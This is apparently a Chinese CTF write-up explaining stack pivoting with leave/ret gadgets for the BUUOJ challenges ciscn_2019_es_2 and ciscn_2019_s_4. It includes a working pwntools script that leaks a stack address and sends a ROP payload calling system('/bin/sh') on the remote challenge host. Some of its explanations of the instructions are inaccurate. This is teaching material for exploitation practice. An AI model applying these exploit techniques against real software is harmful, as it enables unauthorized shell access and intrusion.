(栈迁移)ciscn_2019_es_2和ciscn_2019_s_4相同
这两个题考查的战迁移。栈迁移就是在可以发生栈溢出的情况下但是溢出长度不够,不能装下我们构造的rop链。我们需要把栈顶指针和栈底指针迁移到其他可写的地方。
栈迁移需要借助两个汇编指令:
* leave
mov esp,ebp
pop ebp
*ret
pop eip
这个图是引用看雪论坛上( yichen115 )的图这里再解释一下。
我们通常将栈迁移到bss或者data段。因为那的空间很大,有可写的权限。这是 read 函数也是非常重要的。
我们先通过read函数把栈布置如图所示。每个函数执行完时会执行leave和ret指令我们又往栈上写了一个leave,ret指令的地址。栈迁移通常需要两次leave和ret
当上一函数执行完时会执行leave和ret:
先执行mov esp,ebp
此时esp和ebp指向同一位置,接着执行 pop ebp
复习一下:pop指令是将esp寄存器的内容给ebp并把ebp从栈中弹出。
我们将ebp覆盖位bss段中的地址,所以再pop ebp后ebp中的内容就是bss段的地址了。
这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
构造的内容主要是把 fake ebp1 处写成 fake ebp2 的地址
这里先讲到这。
开始分析本题:
直接看代码。这里溢出不够,运用栈迁移。这里没有将栈迁移到bss或data段。还是在栈中只是将esp和ebp指向了s在栈中的地址了解决了溢出不够的问题
printf函数遇到'\x00'--字符串结束符才停止。我们先通过read函数填充垃圾数据刚好到ebp的位置,让printf泄露ebp的内容
计算s与ebp的距离。(在vul初下断点,n 到第一个read函数 输入后 查看栈)
1 from pwn import *
2
3 r=remote('node4.buuoj.cn',28459)
4 elf=ELF('./ciscn_s_4')
5
6 sys=0x8048400
7 leave_ret=0x080484b8
8 payload='a'*0x27+'b'
9 r.send(payload)
10 r.recvuntil('b')
11
12 stack=u32(r.recv(4))
13 s_addr=stack-0x38
14 #payload1 将s的0x28个内存填入rop,再leav——ret将esp执向s的地址开始往后执行system函数
15 payload1=(p32(s_addr)+p32(sys)+p32(elf.symbols['main'])+p32(s_addr+0x10)+'/bin/sh\x00').ljust(0x28,'\x00')+p32(s_addr)+p32(leave_ret)
16 r.sendline(payload1)
17
18 r.interactive()